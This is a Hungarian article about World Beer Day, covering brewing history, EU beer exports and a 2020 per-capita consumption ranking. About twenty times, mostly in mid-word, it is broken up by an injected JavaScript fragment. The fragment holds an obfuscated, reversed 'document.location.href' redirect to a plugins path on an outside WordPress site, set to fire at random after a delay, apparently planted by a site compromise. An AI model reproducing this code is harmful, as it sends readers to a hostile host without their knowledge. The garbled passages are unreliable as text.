Folyékony kenyér a világ körül – ma ünnepeljük a sör világnapját

2008 óta minden év augusztusának első péntekén hirdetik meg a sör világnapját azzal a céllal, hogy összehozzák a sört szerető baráti közösségeket, és arra buzdítsák őket, hogy próbáljanak ki új ízeket. A kezdeményezés a kaliforniai Santa Cruz egyik kiskocsmájából indult, Magyarországon a Magyar Sörgyártók Szövetsége kezdeményezésére először 2015-ben ünnepelték. A legkülönfélébb kinézetű, színű és ízű ital népszerűsége csak fokozódik a nyári forróságban.

A sör és a sörgyártás folyamata több ezer éves múltra tekint vissza, szinte egyidős a civilizációval. Kezdetleges sörfajták megjelentek már az ókori Egyiptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomban és Babilóniában is, azonban az ókori és kora középkori söröket inkább árpalének kellene nevezni, mintsem sörnek, mert egy fontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos összetevő hiányzott belőlük: a komló.

Később Európában is meghonosodott a sörkészítés. Az öreg kontinensen a sörfőzés hagyománya nagyban kapcsolódik a kolostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torokhoz.

A szerzetesek sokat javítoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tottak a sörfőzés technikáján, úgy tartják, hogy ők terjesztették el Nyugat-Európában a komlót a sör ízesítéséhez.

Szintén a kolostoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torokban főztek nagyobb, piaci mennyiségeket, később ezekből a tapasztalatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokból fejlődtek ki a 14. században a sörfőző céhek.

Angliában a tömeges sörfőzés VIII. Henrik uralkodásától virágzott fel, s ekkortól terjedtek el a felső erjesztésű (ale) fajták. Bajorországban már 1516-ban sörtisztasági törvényt (Reinheitgebot) hoztak, ami szabályozta, hogy sör kizárólag maláta, komló, élesztő és víz hozzáadásával készülhet, adalékanyagok nélkül. A középkor végi serfőző céhek az ipari forradalom során átadták a helyüket serfőzdéknek, amik idővel sörgyárakká nőttek.

Magyarországon is ezeréves a sörkultúra

Az utóbbi évtizedekben a felvásárlások nyomán nagy sörkonszernek jöttek létre. Manapság újra virágzik a házi és kisüzemi sörfőzés, gyors ütemben fejlődik a kézműves sörök repertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toárja.
A sör a legrégebbi írásos emlékek szerint 1152 óta jelen van Magyarországon. Az évszázadok során főzték háznál, uradalmakban, céhekben, majd városi sörfőzdékben is. A reformkorral beköszöntött a „seresszabadság” és 1843-ban megnyílt az út az ipari sörfőzés előtt. Manapság a magyar söripar négy hazai gyárában évente több mint 6 millió hektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toliter sört termelnek.

A legnagyobb exportőrök

2020-ban Hollandia volt az Európai Unió legnagyobb sörexportőre. A dunántúlnyi méretű nyugat-európai ország abben az évben több mint kétmilliárd euró (mintegy 790 milliárd forint) értékben exportált sört, főként az Egyesült Államokba, amiből 121 millió eurót (körülbelül 47 milliárd forint) az alkoholmentes áruért kasszírozott.

Az ezredforduló óta minden évben Hollandia volt a hagyományos alkoholtartalmú sör legnagyobb exportőre az unióban, de Hollandia és Belgium között évről-évre csökken a különbség az értékesítés volumenében.

A holland sörkivitel értéke a legfrissebb (teljes évi) adatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tok szerint 75 százalékkal volt magasabb, mint 2000-ben, míg a belga export értéke csaknem ötszörösére nőtt a 2000–2020 közötti időszakban.

Világviszonylatban egyetlen ország van, amely lényegesen nagyobb mennyiségű sört exportál, mint Hollandia, ez pedig Mexikó. A mexikói sörkivitel különösen az elmúlt négy évben ugrott az egekbe. Az ország jelenleg kétszer annyi sört exportál, mint Hollandia, amely a világ második legnagyobb sörexportőre Mexikó után – számolt be róla a Holland Statisztikai Hivatal 2021-ben.

A világ legsörösebb nemzetei

Világszerte a tíz legtöbb lsört fogyasztó ország ranglistája 2020-as adatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tok alapján így alakult:

A világ tíz legnagyobb sörkészítő nemzete (forrás: WELT-info)

Első ránézésre úgy tűnhet, hogy a sörfogyasztás világszerte nagyjából egyenlően oszlik el, mivel Ázsia, az amerikai kontinens, valamint Európa országai mind képviseltetik magukat a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top 10-es listán. A sör valóban elég népszerű a világ nagy részén, azonban, mint sok más mérőszám esetében, amint az adatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tokat – népesség valamint az egy főre jutó fogyasztás szerint – szűrjük, egy sokkal pontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosabb tendencia rajzolódik ki.

Egy főre vetítve a legtöbb sört fogyasztó nemzetek (2020):

1. Csehország — 181,7 liter/fő
2. Ausztria — 96,9 liter/fő
3. Lengyelország — 96,0 liter/fő
4. Románia — 95,0 liter/fő
5. Németoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tország — 92,5 liter/fő
6. Észtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tország — 84,4 liter/fő
7. Namíbia — 83,4 liter/fő
8. Litvánia — 83,4 liter/fő
9. Szlovákia — 82,2 liter/fő
10. Spanyolország — 81,6 liter/fő

Bár hazánkban inkább a borfogyasztásnak van tekintélyes hagyománya, az utóbbi években már sörből iszunk nagyobb mennyiséget. Ennek következtében nő a hazai sörimport, valamint a kis- és nagyüzemi gyártás. Az itthoni kínálatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tot a reneszánszukat élő kisüzemi, kézműves termékeket gyártó sörfőzdék egészítik ki.

A KSH 2019-es adatai alapján a 15 éves vagy annál idősebb magyarok heti átlagos sörfogyasztása 2,6 liter volt – derül ki a KSH adataiból.

A cikk folytatódik: